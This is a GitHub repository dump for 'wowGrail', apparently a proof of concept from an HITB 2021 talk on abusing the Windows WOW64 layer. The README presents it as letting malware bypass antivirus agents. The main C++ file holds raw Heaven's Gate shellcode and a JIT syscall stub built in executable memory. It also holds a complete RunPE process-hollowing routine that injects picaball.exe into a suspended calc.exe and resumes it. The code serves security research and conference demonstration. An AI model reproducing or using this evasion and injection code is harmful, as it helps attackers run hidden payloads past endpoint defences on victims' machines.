├── LICENSE ├── README.md ├── demo.png └── wowGrail ├── wow64ext.h ├── wowGrail.cpp └── wowGrail.vcxproj /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. 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It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # wowGrail 2 | 3 | Rebuild a new to Abuse the conversion layer embedded in WOW64(Windows 32 on Windows 64), that makes malware able to launch 32-bit NTAPI interrupts, and bypass Antivirus agents in no time. 4 | 5 | It's a proof-of-concept of the talk of HITB 2021. There are more details about reversing the whole WOW64 layer by Microsoft and abuse, see *[Rebuild The Heaven's Gate: from 32 bit Hell back to Heaven Wonderland](https://conference.hitb.org/hitbsecconf2021ams/sessions/wow-hell-rebuilding-heavens-gate/)*. 6 | 7 | **HIGHLY RECOMMEND** 8 | 9 | Compile It in Release mode, if you're using MSVC toolchain. Due to MSVC's performance instrumentation in Debug mode, there'll be an unexpected memory layout. 10 | 11 | ![Demo](demo.png) 12 | -------------------------------------------------------------------------------- /demo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aaaddress1/wowGrail/b6b9a1e4afd9c9d8e1a28edc700c452dadfa8a10/demo.png -------------------------------------------------------------------------------- /wowGrail/wow64ext.h: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * WOW64Ext Library 4 | * 5 | * Copyright (c) 2014 ReWolf 6 | * http://blog.rewolf.pl/ 7 | * 8 | * This program is free software: you can redistribute it and/or modify 9 | * it under the terms of the GNU Lesser General Public License as published 10 | * by the Free Software Foundation, either version 3 of the License, or 11 | * (at your option) any later version. 12 | * 13 | * This program is distributed in the hope that it will be useful, 14 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | * GNU Lesser General Public License for more details. 17 | * 18 | * You should have received a copy of the GNU Lesser General Public License 19 | * along with this program. If not, see . 20 | * 21 | */ 22 | #pragma once 23 | 24 | #include 25 | 26 | #ifndef STATUS_SUCCESS 27 | # define STATUS_SUCCESS 0 28 | #endif 29 | 30 | #pragma pack(push) 31 | #pragma pack(1) 32 | template 33 | struct _LIST_ENTRY_T 34 | { 35 | T Flink; 36 | T Blink; 37 | }; 38 | 39 | template 40 | struct _UNICODE_STRING_T 41 | { 42 | union 43 | { 44 | struct 45 | { 46 | WORD Length; 47 | WORD MaximumLength; 48 | }; 49 | T dummy; 50 | }; 51 | T Buffer; 52 | }; 53 | 54 | template 55 | struct _NT_TIB_T 56 | { 57 | T ExceptionList; 58 | T StackBase; 59 | T StackLimit; 60 | T SubSystemTib; 61 | T FiberData; 62 | T ArbitraryUserPointer; 63 | T Self; 64 | }; 65 | 66 | template 67 | struct _CLIENT_ID 68 | { 69 | T UniqueProcess; 70 | T UniqueThread; 71 | }; 72 | 73 | template 74 | struct _TEB_T_ 75 | { 76 | _NT_TIB_T NtTib; 77 | T EnvironmentPointer; 78 | _CLIENT_ID ClientId; 79 | T ActiveRpcHandle; 80 | T ThreadLocalStoragePointer; 81 | T ProcessEnvironmentBlock; 82 | DWORD LastErrorValue; 83 | DWORD CountOfOwnedCriticalSections; 84 | T CsrClientThread; 85 | T Win32ThreadInfo; 86 | DWORD User32Reserved[26]; 87 | //rest of the structure is not defined for now, as it is not needed 88 | }; 89 | 90 | template 91 | struct _LDR_DATA_TABLE_ENTRY_T 92 | { 93 | _LIST_ENTRY_T InLoadOrderLinks; 94 | _LIST_ENTRY_T InMemoryOrderLinks; 95 | _LIST_ENTRY_T InInitializationOrderLinks; 96 | T DllBase; 97 | T EntryPoint; 98 | union 99 | { 100 | DWORD SizeOfImage; 101 | T dummy01; 102 | }; 103 | _UNICODE_STRING_T FullDllName; 104 | _UNICODE_STRING_T BaseDllName; 105 | DWORD Flags; 106 | WORD LoadCount; 107 | WORD TlsIndex; 108 | union 109 | { 110 | _LIST_ENTRY_T HashLinks; 111 | struct 112 | { 113 | T SectionPointer; 114 | T CheckSum; 115 | }; 116 | }; 117 | union 118 | { 119 | T LoadedImports; 120 | DWORD TimeDateStamp; 121 | }; 122 | T EntryPointActivationContext; 123 | T PatchInformation; 124 | _LIST_ENTRY_T ForwarderLinks; 125 | _LIST_ENTRY_T ServiceTagLinks; 126 | _LIST_ENTRY_T StaticLinks; 127 | T ContextInformation; 128 | T OriginalBase; 129 | _LARGE_INTEGER LoadTime; 130 | }; 131 | 132 | template 133 | struct _PEB_LDR_DATA_T 134 | { 135 | DWORD Length; 136 | DWORD Initialized; 137 | T SsHandle; 138 | _LIST_ENTRY_T InLoadOrderModuleList; 139 | _LIST_ENTRY_T InMemoryOrderModuleList; 140 | _LIST_ENTRY_T InInitializationOrderModuleList; 141 | T EntryInProgress; 142 | DWORD ShutdownInProgress; 143 | T ShutdownThreadId; 144 | 145 | }; 146 | 147 | template 148 | struct _PEB_T 149 | { 150 | union 151 | { 152 | struct 153 | { 154 | BYTE InheritedAddressSpace; 155 | BYTE ReadImageFileExecOptions; 156 | BYTE BeingDebugged; 157 | BYTE BitField; 158 | }; 159 | T dummy01; 160 | }; 161 | T Mutant; 162 | T ImageBaseAddress; 163 | T Ldr; 164 | T ProcessParameters; 165 | T SubSystemData; 166 | T ProcessHeap; 167 | T FastPebLock; 168 | T AtlThunkSListPtr; 169 | T IFEOKey; 170 | T CrossProcessFlags; 171 | T UserSharedInfoPtr; 172 | DWORD SystemReserved; 173 | DWORD AtlThunkSListPtr32; 174 | T ApiSetMap; 175 | T TlsExpansionCounter; 176 | T TlsBitmap; 177 | DWORD TlsBitmapBits[2]; 178 | T ReadOnlySharedMemoryBase; 179 | T HotpatchInformation; 180 | T ReadOnlyStaticServerData; 181 | T AnsiCodePageData; 182 | T OemCodePageData; 183 | T UnicodeCaseTableData; 184 | DWORD NumberOfProcessors; 185 | union 186 | { 187 | DWORD NtGlobalFlag; 188 | NGF dummy02; 189 | }; 190 | LARGE_INTEGER CriticalSectionTimeout; 191 | T HeapSegmentReserve; 192 | T HeapSegmentCommit; 193 | T HeapDeCommitTotalFreeThreshold; 194 | T HeapDeCommitFreeBlockThreshold; 195 | DWORD NumberOfHeaps; 196 | DWORD MaximumNumberOfHeaps; 197 | T ProcessHeaps; 198 | T GdiSharedHandleTable; 199 | T ProcessStarterHelper; 200 | T GdiDCAttributeList; 201 | T LoaderLock; 202 | DWORD OSMajorVersion; 203 | DWORD OSMinorVersion; 204 | WORD OSBuildNumber; 205 | WORD OSCSDVersion; 206 | DWORD OSPlatformId; 207 | DWORD ImageSubsystem; 208 | DWORD ImageSubsystemMajorVersion; 209 | T ImageSubsystemMinorVersion; 210 | T ActiveProcessAffinityMask; 211 | T GdiHandleBuffer[A]; 212 | T PostProcessInitRoutine; 213 | T TlsExpansionBitmap; 214 | DWORD TlsExpansionBitmapBits[32]; 215 | T SessionId; 216 | ULARGE_INTEGER AppCompatFlags; 217 | ULARGE_INTEGER AppCompatFlagsUser; 218 | T pShimData; 219 | T AppCompatInfo; 220 | _UNICODE_STRING_T CSDVersion; 221 | T ActivationContextData; 222 | T ProcessAssemblyStorageMap; 223 | T SystemDefaultActivationContextData; 224 | T SystemAssemblyStorageMap; 225 | T MinimumStackCommit; 226 | T FlsCallback; 227 | _LIST_ENTRY_T FlsListHead; 228 | T FlsBitmap; 229 | DWORD FlsBitmapBits[4]; 230 | T FlsHighIndex; 231 | T WerRegistrationData; 232 | T WerShipAssertPtr; 233 | T pContextData; 234 | T pImageHeaderHash; 235 | T TracingFlags; 236 | }; 237 | 238 | typedef _LDR_DATA_TABLE_ENTRY_T LDR_DATA_TABLE_ENTRY32; 239 | typedef _LDR_DATA_TABLE_ENTRY_T LDR_DATA_TABLE_ENTRY64; 240 | 241 | typedef _TEB_T_ TEB32; 242 | typedef _TEB_T_ TEB64; 243 | 244 | typedef _PEB_LDR_DATA_T PEB_LDR_DATA32; 245 | typedef _PEB_LDR_DATA_T PEB_LDR_DATA64; 246 | 247 | typedef _PEB_T PEB32; 248 | typedef _PEB_T PEB64; 249 | 250 | struct _XSAVE_FORMAT64 251 | { 252 | WORD ControlWord; 253 | WORD StatusWord; 254 | BYTE TagWord; 255 | BYTE Reserved1; 256 | WORD ErrorOpcode; 257 | DWORD ErrorOffset; 258 | WORD ErrorSelector; 259 | WORD Reserved2; 260 | DWORD DataOffset; 261 | WORD DataSelector; 262 | WORD Reserved3; 263 | DWORD MxCsr; 264 | DWORD MxCsr_Mask; 265 | _M128A FloatRegisters[8]; 266 | _M128A XmmRegisters[16]; 267 | BYTE Reserved4[96]; 268 | }; 269 | 270 | struct _CONTEXT64 271 | { 272 | DWORD64 P1Home; 273 | DWORD64 P2Home; 274 | DWORD64 P3Home; 275 | DWORD64 P4Home; 276 | DWORD64 P5Home; 277 | DWORD64 P6Home; 278 | DWORD ContextFlags; 279 | DWORD MxCsr; 280 | WORD SegCs; 281 | WORD SegDs; 282 | WORD SegEs; 283 | WORD SegFs; 284 | WORD SegGs; 285 | WORD SegSs; 286 | DWORD EFlags; 287 | DWORD64 Dr0; 288 | DWORD64 Dr1; 289 | DWORD64 Dr2; 290 | DWORD64 Dr3; 291 | DWORD64 Dr6; 292 | DWORD64 Dr7; 293 | DWORD64 Rax; 294 | DWORD64 Rcx; 295 | DWORD64 Rdx; 296 | DWORD64 Rbx; 297 | DWORD64 Rsp; 298 | DWORD64 Rbp; 299 | DWORD64 Rsi; 300 | DWORD64 Rdi; 301 | DWORD64 R8; 302 | DWORD64 R9; 303 | DWORD64 R10; 304 | DWORD64 R11; 305 | DWORD64 R12; 306 | DWORD64 R13; 307 | DWORD64 R14; 308 | DWORD64 R15; 309 | DWORD64 Rip; 310 | _XSAVE_FORMAT64 FltSave; 311 | _M128A Header[2]; 312 | _M128A Legacy[8]; 313 | _M128A Xmm0; 314 | _M128A Xmm1; 315 | _M128A Xmm2; 316 | _M128A Xmm3; 317 | _M128A Xmm4; 318 | _M128A Xmm5; 319 | _M128A Xmm6; 320 | _M128A Xmm7; 321 | _M128A Xmm8; 322 | _M128A Xmm9; 323 | _M128A Xmm10; 324 | _M128A Xmm11; 325 | _M128A Xmm12; 326 | _M128A Xmm13; 327 | _M128A Xmm14; 328 | _M128A Xmm15; 329 | _M128A VectorRegister[26]; 330 | DWORD64 VectorControl; 331 | DWORD64 DebugControl; 332 | DWORD64 LastBranchToRip; 333 | DWORD64 LastBranchFromRip; 334 | DWORD64 LastExceptionToRip; 335 | DWORD64 LastExceptionFromRip; 336 | }; 337 | 338 | // Below defines for .ContextFlags field are taken from WinNT.h 339 | #ifndef CONTEXT_AMD64 340 | #define CONTEXT_AMD64 0x100000 341 | #endif 342 | 343 | #define CONTEXT64_CONTROL (CONTEXT_AMD64 | 0x1L) 344 | #define CONTEXT64_INTEGER (CONTEXT_AMD64 | 0x2L) 345 | #define CONTEXT64_SEGMENTS (CONTEXT_AMD64 | 0x4L) 346 | #define CONTEXT64_FLOATING_POINT (CONTEXT_AMD64 | 0x8L) 347 | #define CONTEXT64_DEBUG_REGISTERS (CONTEXT_AMD64 | 0x10L) 348 | #define CONTEXT64_FULL (CONTEXT64_CONTROL | CONTEXT64_INTEGER | CONTEXT64_FLOATING_POINT) 349 | #define CONTEXT64_ALL (CONTEXT64_CONTROL | CONTEXT64_INTEGER | CONTEXT64_SEGMENTS | CONTEXT64_FLOATING_POINT | CONTEXT64_DEBUG_REGISTERS) 350 | #define CONTEXT64_XSTATE (CONTEXT_AMD64 | 0x20L) 351 | 352 | #pragma pack(pop) 353 | 354 | #ifdef WOW64EXT_EXPORTS 355 | # define SPEC dllexport 356 | #else 357 | # define SPEC dllimport 358 | #endif 359 | 360 | extern "C" 361 | { 362 | __declspec(SPEC)DWORD64 __cdecl X64Call(DWORD64 func, int argC, ...); 363 | __declspec(SPEC)DWORD64 __cdecl GetModuleHandle64(wchar_t* lpModuleName); 364 | __declspec(SPEC)DWORD64 __cdecl GetProcAddress64(DWORD64 hModule, char* funcName); 365 | __declspec(SPEC)SIZE_T __cdecl VirtualQueryEx64(HANDLE hProcess, DWORD64 lpAddress, MEMORY_BASIC_INFORMATION64* lpBuffer, SIZE_T dwLength); 366 | __declspec(SPEC)DWORD64 __cdecl VirtualAllocEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); 367 | __declspec(SPEC)BOOL __cdecl VirtualFreeEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD dwFreeType); 368 | __declspec(SPEC)BOOL __cdecl VirtualProtectEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* lpflOldProtect); 369 | __declspec(SPEC)BOOL __cdecl ReadProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead); 370 | __declspec(SPEC)BOOL __cdecl WriteProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten); 371 | __declspec(SPEC)BOOL __cdecl GetThreadContext64(HANDLE hThread, _CONTEXT64* lpContext); 372 | __declspec(SPEC)BOOL __cdecl SetThreadContext64(HANDLE hThread, _CONTEXT64* lpContext); 373 | __declspec(SPEC)VOID __cdecl SetLastErrorFromX64Call(DWORD64 status); 374 | } 375 | -------------------------------------------------------------------------------- /wowGrail/wowGrail.cpp: -------------------------------------------------------------------------------- 1 | // wowGrail: Rebuild a Wew Path Back to The 64-bit Heaven 2 | // by aaaddress1@chroot.org 3 | // 4 | // **HIGHLY RECOMMEND** 5 | // Compile It in Release mode, if you're using MSVC toolchain. 6 | // due to MSVC's performance instrumentation in Debug mode, there'll be an unexpected memory layout. 7 | #include 8 | #include 9 | #include 10 | #include "wow64ext.h" 11 | #pragma warning(disable:4996) 12 | using namespace std; 13 | 14 | auto memcpy64 = ((void(cdecl*)(ULONG64, ULONG64, ULONG64))((PCSTR) 15 | // enter 64 bit mode 16 | "\x6a\x33\xe8\x00\x00\x00\x00\x83\x04\x24\x05\xcb" 17 | // memcpy for 64 bit 18 | "\x67\x48\x8b\x7c\x24\x04\x67\x48\x8b\x74\x24\x0c\x67\x48\x8b\x4c\x24\x14\xf3\xa4" 19 | // exit 64 bit mode 20 | "\xe8\x00\x00\x00\x00\xc7\x44\x24\x04\x23\x00\x00\x00\x83\x04\x24\x0d\xcb\xc3" 21 | )); 22 | 23 | PEB64* getPtr_Peb64() { 24 | // mov eax,gs:[00000060]; ret 25 | return ((PEB64 * (*)()) & "\x65\xA1\x60\x00\x00\x00\xC3")(); 26 | } 27 | 28 | 29 | string get64b_CSTR(ULONG64 ptr64bStr) { 30 | CHAR szBuf[MAX_PATH]; 31 | memcpy64((ULONG64)&szBuf, ptr64bStr, sizeof(szBuf)); 32 | return *new string(szBuf); 33 | } 34 | 35 | wstring get64b_WSTR(ULONG64 ptr64bStr) { 36 | WCHAR szBuf[MAX_PATH]; 37 | memcpy64((ULONG64)&szBuf, ptr64bStr, sizeof(szBuf)); 38 | return *new wstring(szBuf); 39 | } 40 | 41 | 42 | UINT64 getPtr_Module64(const wchar_t* szDllName) { 43 | PEB_LDR_DATA64 ldrNode = {}; 44 | LDR_DATA_TABLE_ENTRY64 currNode = {}; 45 | 46 | // fetch ldr head node 47 | memcpy64((ULONG64)&ldrNode, (ULONG64)getPtr_Peb64()->Ldr, sizeof(ldrNode)); 48 | 49 | // read the first ldr node (should be the current EXE module) 50 | for (ULONG64 ptrCurr = ldrNode.InLoadOrderModuleList.Flink;; ptrCurr = currNode.InLoadOrderLinks.Flink) { 51 | memcpy64((ULONG64)&currNode, ptrCurr, sizeof(currNode)); 52 | if (wcsstr(szDllName, get64b_WSTR(currNode.BaseDllName.Buffer).c_str())) 53 | return currNode.DllBase; 54 | } 55 | return 0; 56 | } 57 | 58 | void getPtr_Wow64SystemServiceEx(UINT64 &value) { 59 | auto ptr_wow64Mod = getPtr_Module64(L"wow64.dll"); 60 | printf("[v] current wow64.dll @ %llx\n", ptr_wow64Mod); 61 | 62 | char exeBuf[4096]; 63 | memcpy64((ULONG)&exeBuf, ptr_wow64Mod, sizeof(exeBuf)); 64 | auto k = PIMAGE_NT_HEADERS64(&exeBuf[0] + PIMAGE_DOS_HEADER(exeBuf)->e_lfanew); 65 | auto rvaExportTable = k->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 66 | memcpy64((ULONG)&exeBuf, ptr_wow64Mod + rvaExportTable, sizeof(exeBuf)); 67 | 68 | auto numOfNames = PIMAGE_EXPORT_DIRECTORY(exeBuf)->NumberOfNames; 69 | auto arrOfNames = new UINT32[numOfNames + 1], arrOfFuncs = new UINT32[numOfNames + 1]; 70 | auto addrOfNameOrds = new UINT16[numOfNames + 1]; 71 | memcpy64((ULONG)arrOfNames, ptr_wow64Mod + PIMAGE_EXPORT_DIRECTORY(exeBuf)->AddressOfNames, sizeof(UINT32) * numOfNames); 72 | memcpy64((ULONG)addrOfNameOrds, ptr_wow64Mod + PIMAGE_EXPORT_DIRECTORY(exeBuf)->AddressOfNameOrdinals, sizeof(UINT16) * numOfNames); 73 | memcpy64((ULONG)arrOfFuncs, ptr_wow64Mod + PIMAGE_EXPORT_DIRECTORY(exeBuf)->AddressOfFunctions, sizeof(UINT32) * numOfNames); 74 | 75 | for (size_t i = 0; i < numOfNames; i++) { 76 | auto currApiName = get64b_CSTR(ptr_wow64Mod + arrOfNames[i]); 77 | printf("[v] found export API -- %s\n", currApiName.c_str()); 78 | if (strstr("Wow64SystemServiceEx", currApiName.c_str())) 79 | value = ptr_wow64Mod + arrOfFuncs[addrOfNameOrds[i]]; 80 | } 81 | 82 | } 83 | 84 | /* // Depressed Method 85 | #pragma section(".text") 86 | __declspec(allocate(".text")) char payload[] = ( 87 | // enter 64 bit mode 88 | "\x6a\x33\xe8\x00\x00\x00\x00\x83\x04\x24\x05\xcb" 89 | 90 | // lookup wow64!Wow64SystemServiceEx (64bit DLL) by disasm the address of TurboDispatchJumpAddressEnd() 91 | "\x48\x31\xc9" // xor rcx, rcx 92 | "\x49\x8B\x07" // mov rax, [r15] 93 | "\x48\x8D\x40\x05" // lea rax, [rax+05] 94 | "\x8B\x48\x02" // mov ecx, [rax+02] 95 | "\x48\x8D\x40\x06" // lea rax, [rax+06] 96 | "\x01\xC1" // add ecx, eax 97 | "\x48\x8B\x01" // mov rax, [rcx] 98 | 99 | // save $rax value back to the $value variable 100 | "\x8B\x7C\x24\x04" // mov edi, [esp+04] 101 | "\x48\xAB" // stosq 102 | 103 | // exit 64 bit mode 104 | "\xe8\x00\x00\x00\x00\xc7\x44\x24\x04\x23\x00\x00\x00\x83\x04\x24\x0d\xcb\xc3" 105 | ); 106 | auto getPtr_Wow64SystemServiceEx = (void (cdecl*)(uint64_t&))((PCSTR)(payload));*/ 107 | 108 | size_t getBytecodeOfNtAPI(const char* ntAPItoLookup) { 109 | static BYTE* dumpImage = 0; 110 | if (dumpImage == nullptr) { 111 | // read whole PE static binary. 112 | FILE* fileptr; BYTE* buffer; LONGLONG filelen; 113 | fileptr = fopen("C:/Windows/SysWoW64/ntdll.dll", "rb"); 114 | fseek(fileptr, 0, SEEK_END); 115 | filelen = ftell(fileptr); 116 | rewind(fileptr); 117 | buffer = (BYTE*)malloc((filelen + 1) * sizeof(char)); 118 | fread(buffer, filelen, 1, fileptr); 119 | 120 | // dump static PE binary into image. 121 | PIMAGE_NT_HEADERS ntHdr = (IMAGE_NT_HEADERS*)(buffer + ((IMAGE_DOS_HEADER*)buffer)->e_lfanew); 122 | dumpImage = (BYTE*)malloc(ntHdr->OptionalHeader.SizeOfImage); 123 | memcpy(dumpImage, buffer, ntHdr->OptionalHeader.SizeOfHeaders); 124 | for (size_t i = 0; i < ntHdr->FileHeader.NumberOfSections; i++) { 125 | auto curr = PIMAGE_SECTION_HEADER(size_t(ntHdr) + sizeof(IMAGE_NT_HEADERS))[i]; 126 | memcpy(dumpImage + curr.VirtualAddress, buffer + curr.PointerToRawData, curr.SizeOfRawData); 127 | } 128 | free(buffer); 129 | fclose(fileptr); 130 | } 131 | 132 | // EAT parse. 133 | PIMAGE_NT_HEADERS ntHdr = (IMAGE_NT_HEADERS*)(dumpImage + ((IMAGE_DOS_HEADER*)dumpImage)->e_lfanew); 134 | auto a = ntHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 135 | PIMAGE_EXPORT_DIRECTORY ied = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)dumpImage + a.VirtualAddress); 136 | uint32_t* addrOfNames = (uint32_t*)((size_t)dumpImage + ied->AddressOfNames); 137 | uint16_t* addrOfNameOrds = (uint16_t*)((size_t)dumpImage + ied->AddressOfNameOrdinals); 138 | uint32_t* AddrOfFuncAddrs = (uint32_t*)((size_t)dumpImage + ied->AddressOfFunctions); 139 | if (ied->NumberOfNames == 0) return (size_t)0; 140 | for (DWORD i = 0; i < ied->NumberOfNames; i++) 141 | if (!stricmp((char*)((size_t)dumpImage + addrOfNames[i]), ntAPItoLookup)) 142 | return ((size_t)dumpImage + AddrOfFuncAddrs[addrOfNameOrds[i]]); 143 | return 0; 144 | } 145 | 146 | #include 147 | #include 148 | int NtAPI(const char* szNtApiToCall, ...) { 149 | 150 | PCHAR jit_stub; 151 | PCHAR apiAddr = PCHAR(getBytecodeOfNtAPI(szNtApiToCall)); 152 | static uint64_t ptrTranslator(0); 153 | if (!ptrTranslator) getPtr_Wow64SystemServiceEx(ptrTranslator); 154 | 155 | static uint8_t stub_template[] = { 156 | /* +00 - mov eax, 00000000 */ 0xB8, 0x00, 0x00, 0x00, 0x00, 157 | /* +05 - mov edx, ds:[esp+0x4] */ 0x8b, 0x54, 0x24, 0x04, 158 | /* +09 - mov ecx,eax */ 0x89, 0xC1, 159 | /* +0B - enter 64 bit mode */ 0x6A, 0x33, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x83, 0x04, 0x24, 0x05, 0xCB, 160 | /* +17 - xchg r14, rsp */ 0x49, 0x87, 0xE6, 161 | /* +1A - call qword ptr [DEADBEEF] */ 0xFF, 0x14, 0x25, 0xEF, 0xBE, 0xAD, 0xDE, 162 | /* +21 - xchg r14, rsp */ 0x49, 0x87, 0xE6, 163 | /* +24 - exit 64 bit mode */ 0xE8, 0x0, 0x0, 0, 0, 0xC7,0x44, 0x24, 4, 0x23, 0, 0, 0, 0x83, 4, 0x24, 0xD, 0xCB, 164 | 0xc3, 165 | }; 166 | 167 | jit_stub = (PCHAR)VirtualAlloc(0, sizeof(stub_template), MEM_COMMIT, PAGE_EXECUTE_READWRITE); 168 | memcpy(jit_stub, stub_template, sizeof(stub_template)); 169 | va_list args; 170 | va_start(args, szNtApiToCall); 171 | *((uint32_t*)&jit_stub[0x01]) = *(uint32_t*)&apiAddr[1]; 172 | *((uint32_t*)&jit_stub[0x1d]) = (size_t)&ptrTranslator; 173 | auto ret = ((NTSTATUS(__cdecl*)(...))jit_stub)(args); 174 | return ret; 175 | } 176 | 177 | 178 | int RunPortableExecutable(void* Image) 179 | { 180 | IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols 181 | IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols 182 | IMAGE_SECTION_HEADER* SectionHeader; 183 | 184 | PROCESS_INFORMATION PI; 185 | STARTUPINFOA SI; 186 | 187 | CONTEXT* CTX; 188 | 189 | DWORD* ImageBase; //Base address of the image 190 | void* pImageBase; // Pointer to the image base 191 | 192 | int count; 193 | char CurrentFilePath[1024] = "C:\\Windows\\SysWOW64\\calc.exe"; 194 | 195 | DOSHeader = PIMAGE_DOS_HEADER(Image); // Initialize Variable 196 | NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize 197 | if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File. 198 | { 199 | ZeroMemory(&PI, sizeof(PI)); // Null the memory 200 | ZeroMemory(&SI, sizeof(SI)); // Null the memory 201 | 202 | if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, 203 | CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) 204 | { 205 | // Allocate memory for the context. 206 | CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE)); 207 | CTX->ContextFlags = CONTEXT_FULL; // Context is allocated 208 | 209 | if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread 210 | { 211 | 212 | pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), 213 | NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE); 214 | 215 | if (pImageBase == 0) { 216 | NtAPI("ZwTerminateProcess", PI.hProcess, 0); 217 | return 0; 218 | } 219 | 220 | // Write the image to the process 221 | NtAPI("NtWriteVirtualMemory", PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL); 222 | 223 | for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) 224 | { 225 | SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40)); 226 | 227 | NtAPI("NtWriteVirtualMemory", PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress), 228 | LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0); 229 | } 230 | NtAPI("NtWriteVirtualMemory", PI.hProcess, LPVOID(CTX->Ebx + 8), PVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0); 231 | 232 | // Move address of entry point to the eax register 233 | CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint; 234 | NtAPI("NtSetContextThread", PI.hThread, CTX); // Set the context 235 | 236 | DWORD useless; 237 | NtAPI("NtResumeThread", PI.hThread, &useless); //´Start the process/call main() 238 | 239 | return 0; // Operation was successful. 240 | } 241 | } 242 | } 243 | } 244 | #pragma warning(disable:4996) 245 | BYTE* MapFileToMemory(const char filename[]) 246 | { 247 | FILE *fileptr; 248 | BYTE *buffer; 249 | 250 | fileptr = fopen(filename, "rb"); // Open the file in binary mode 251 | fseek(fileptr, 0, SEEK_END); // Jump to the end of the file 252 | long filelen = ftell(fileptr); // Get the current byte offset in the file 253 | rewind(fileptr); // Jump back to the beginning of the file 254 | 255 | buffer = (BYTE *)malloc((filelen + 1) * sizeof(char)); // Enough memory for file + \0 256 | fread(buffer, filelen, 1, fileptr); // Read in the entire file 257 | fclose(fileptr); // Close the file 258 | 259 | return buffer; 260 | } 261 | 262 | int main(void) 263 | { 264 | // hey, RunPE again: github.com/Zer0Mem0ry/RunPE 265 | RunPortableExecutable(MapFileToMemory("picaball.exe")); 266 | return 0; 267 | } -------------------------------------------------------------------------------- /wowGrail/wowGrail.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 15.0 23 | {E3973D6F-1D78-4E4E-98D0-B2EFA92740C6} 24 | Win32Proj 25 | processHollowing 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 